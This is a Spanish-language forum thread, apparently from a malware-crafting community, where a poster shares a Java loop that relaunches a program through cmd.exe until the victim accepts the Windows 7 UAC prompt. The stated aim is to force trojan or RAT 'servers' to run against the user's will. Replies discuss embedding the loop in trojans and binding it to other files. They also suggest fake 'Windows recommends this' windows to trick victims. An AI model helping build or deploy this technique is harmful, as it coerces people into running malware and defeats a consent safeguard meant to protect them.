Indetectables

Lo posteo aqui por que es mensaje entre nosotros, y aqui explico un pequeño detalle en cuanto ejecucion de archivos en windows 7.

Bueno a como ya se han dado cuenta cuando quieren ejecutar un exe en windows 7 con el uac activado entonces les aparece la molestosa ventanita de aceptacion. Que si le dan a no o cierran la ventana el archivo no se ejecuta, esto es malo para los servers, bueno lo que podemos implementar es hacer un bucle con un ejecutable externo que haga la ejecucion con un cmd.exe /c "archivo.exe" el cual si tiene manifiesto de administrador aparecera la ventanita. y en cualquier lenguaje creamos el proceso con esos comandos si el comando se ejecuta correctamente devolvera "0" y si no un 1, entonces si devuelve "1" que le vuelva a aparecer la ventanita de ejecucion XD

Este es un simple ejemplo en java que ejecuta el regedit hasta que le den aceptar XD.

[syntax="java"]
import java.io.IOException;


class regedit {
public static void main(String[] args) throws IOException, InterruptedException {


while(true){

Process aa=null;

aa= Runtime.getRuntime().exec(new String[]{"cmd.exe","/c","regedit.exe"});

aa.waitFor();

System.out.println(aa.exitValue());
//Cuando el proceso se ejecuta correctamente cmd.exe devuelve un 0 y si hay un error o cancelacion devuelve 1
if (aa.exitValue()==1)
continue;
else
break;

}


}
}
[/syntax]

Espero hechen a andar sus cabecitas y lo sepan implementar XD mas obvio no puede ser.

Saludos by Adwind....

hmmmm esta buena la idea Adwind...
solo una observacion:

es UAC no "UAG"

User
Access
Control

o en español

Control de Acceso de Usuarios (si no estoy mal)

seria e ver como se implementa esa idea.

saludos.

Perdon por mi spanish XD XD jajajaja algun moderador que lo pueda corregir, ya que con eso que no podemos editar los post XD

Es buenísima la idea, así que cuando le hace doble click al archivo no tiene vuelta atrás, salvo apagar. Se tendría que bindear el archivo y hacer que se ejecute este y no el server, verdad?
Saludos!

seria buena idea implementarlos en los rat

Harker_123 escribió:Es buenísima la idea, así que cuando le hace doble click al archivo no tiene vuelta atrás, salvo apagar. Se tendría que bindear el archivo y hacer que se ejecute este y no el server, verdad?
Saludos!

Creo que la idea seria meterlo en el código del troyano

Esta bien la idea, pero creo que seria bastante obvio xD pero la mayoria terminaria clickeando Aceptar! xD

Si lo que importa es que se ejecutara forzosamente aunque el usuario quiera o no XD, esa es la idea. Se que suena descabellado, pero tampoco le vas a mostrrar un mensaje "Estas infectado ¬¬"

Y si haces aparecer una ventana que diga que windows recomienda la ejecucion, o que es vital para el sistema.

adwind escribió:Si lo que importa es que se ejecutara forzosamente aunque el usuario quiera o no XD, esa es la idea. Se que suena descabellado, pero tampoco le vas a mostrrar un mensaje "Estas infectado ¬¬"

...
Tienes una imaginacion mounstrosamente efectiva adwin, gracias, un saludo.

selanabar escribió:Y si haces aparecer una ventana que diga que windows recomienda la ejecucion, o que es vital para el sistema.

creo que para eso abria que modificar archivos del sistema no?

esto me parece un metodo muy bueno, me gusta!

davidad escribió:

selanabar escribió:Y si haces aparecer una ventana que diga que windows recomienda la ejecucion, o que es vital para el sistema.

creo que para eso abria que modificar archivos del sistema no?

la verdad no se mucho, pero para hacer aparecer una ventanita que diga lo que tu quieras hace falta eso?

nooo por diosss para eso no!!! xDD



yo me referia a que al aparecer dicha ventana en vez de poner:"Un programa no identificado...." que pusiera "Un programa del sistema requiere privilegios de sistema...

a eso me referia yo a que se necesitaria modificar erchivos propios del sistema, o no?

am ok, yo me referia ha hacer aparecer una ventana tu diciendo que windows recomienda la instalacion, o que la necesita, ademas de volver a ejecutar el programa si le dan a cancelar. yo creo que con eso el 98% pica.

puedes hacer otra ventana pero seria aparte, incluso creo que si la ventana la incluye el programa principal, 1º saldria la ventanita anterior y despues la tuya haciendo tu ventana un poco inutil...
Sol1: hacer 2 programas, intentando que en el programa detu ventanita no salte la UAC sino estamos igual que antes.

y querer redirigir el efecto del boton cancelar seria bastante dificil...